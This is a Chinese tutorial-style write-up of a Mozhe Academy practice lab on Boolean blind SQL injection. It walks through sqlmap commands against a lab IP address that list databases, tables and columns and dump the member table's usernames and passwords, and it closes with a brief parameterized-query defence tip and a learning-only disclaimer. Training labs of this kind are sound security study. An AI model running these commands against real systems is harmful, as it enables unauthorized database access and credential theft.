墨者:SQL注入漏洞测试(布尔盲注)

墨者学院:SQL注入漏洞测试(布尔盲注)🚀

1. 什么是布尔盲注?🔍

布尔盲注(Boolean-based Blind SQL Injection)是SQL注入的一种形式,攻击者通过构造逻辑判断条件 (如AND 1=1OR 1=2),根据页面返回结果的差异(如内容变化、HTTP状态码)推断数据库信息。

作用:

  • 无显式错误回显时,通过布尔逻辑间接获取数据。
  • 适用于目标仅返回"真/假"两种状态的场景(例如登录验证)。

2. 工具:SQLMap🔧

SQLMap是一款自动化SQL注入工具,支持检测和利用多种注入类型(包括布尔盲注)。
核心功能

  • 自动识别注入点
  • 爆破数据库名、表名、字段名
  • 导出数据(如用户名密码)

3. 实验步骤(切换为自己的墨者靶场地址)🎯

步骤1:获取数据库名

bash 复制代码
python sqlmap.py -u "http://124.70.71.251:46640/new_list.php?id=1" --dbs --batch
参数说明:
参数 作用
-u 指定目标URL
--dbs 列出所有数据库名
--batch 自动选择默认选项(非交互模式)



步骤2:列出表名

bash 复制代码
python sqlmap.py -u "http://124.70.71.251:46640/new_list.php?id=1" -D stormgroup --tables --batch
参数说明:
参数 作用
-D 指定目标数据库
--tables 列出该数据库的所有表



步骤3:获取字段名

bash 复制代码
python sqlmap.py -u "http://124.70.71.251:46640/new_list.php?id=1" -D stormgroup -T member --columns --batch
参数说明:
参数 作用
-T 指定目标表
--columns 列出该表的所有字段



步骤4:导出数据

bash 复制代码
python sqlmap.py -u "http://124.70.71.251:46640/new_list.php?id=1" -D stormgroup -T member -C name,password,status --dump --batch
参数说明:
参数 作用
-C 指定要导出的字段
--dump 导出数据到本地文件



步骤5:清除缓存

假如重新启动了靶场,端口会发生改变,往往需要清理缓存,不然password可能不会发生变化

bash 复制代码
python sqlmap.py --purge
参数说明:
参数 作用
--purge 删除所有扫描缓存文件

4. 参数汇总表⭐

参数 缩写 作用
--url -u 指定目标URL
--dbs - 列出所有数据库
--tables - 列出指定数据库的表
--columns - 列出指定表的字段
--dump - 导出数据
--batch - 自动模式(无需手动确认)
--purge - 清除缓存

5. 总结🏁

  1. 布尔盲注通过逻辑判断间接获取数据,适合无错误回显的场景。
  2. SQLMap可自动化完成从注入检测到数据导出的全流程。
  3. 关键参数:
    • -u:指定目标
    • -D/-T/-C:逐层定位数据
    • --dump:最终导出数据

防御建议:使用参数化查询+输入过滤,避免拼接SQL语句!


声明:本文仅用于安全学习,严禁非法测试! ❗❗❗

相关推荐
@insist1237 小时前
信息安全工程师-数据库安全全体系解析与最佳实践
数据库·安全·软考·信息安全工程师·软件水平考试
_ku_ku_8 小时前
数据库系统原理 · 事务管理与恢复 · 自学总结
数据库·oracle
lifewange10 小时前
Redis 集合(Set)运算完全指南
数据库·chrome·redis
TDengine (老段)10 小时前
TDengine RAFT共识协议 — 选举、日志复制、快照与仲裁
android·大数据·数据库·物联网·架构·时序数据库·tdengine
Full Stack Developme11 小时前
Spring Boot 事务管理完整教程
java·数据库·spring boot
m0_7020365312 小时前
mysql如何通过索引减少行锁范围_mysql索引与加锁逻辑
jvm·数据库·python
qxwlcsdn12 小时前
如何用 IndexedDB 存储从 API 获取的超大列表并实现二级索引
jvm·数据库·python
phltxy13 小时前
Redis 主从复制
java·数据库·redis
2301_8092445313 小时前
C#怎么使用协变和逆变 C#泛型中的in和out关键字协变逆变是什么意思怎么用【语法】
jvm·数据库·python
知识汲取者13 小时前
巨量引擎营销 API 完整文档
开发语言·数据库·python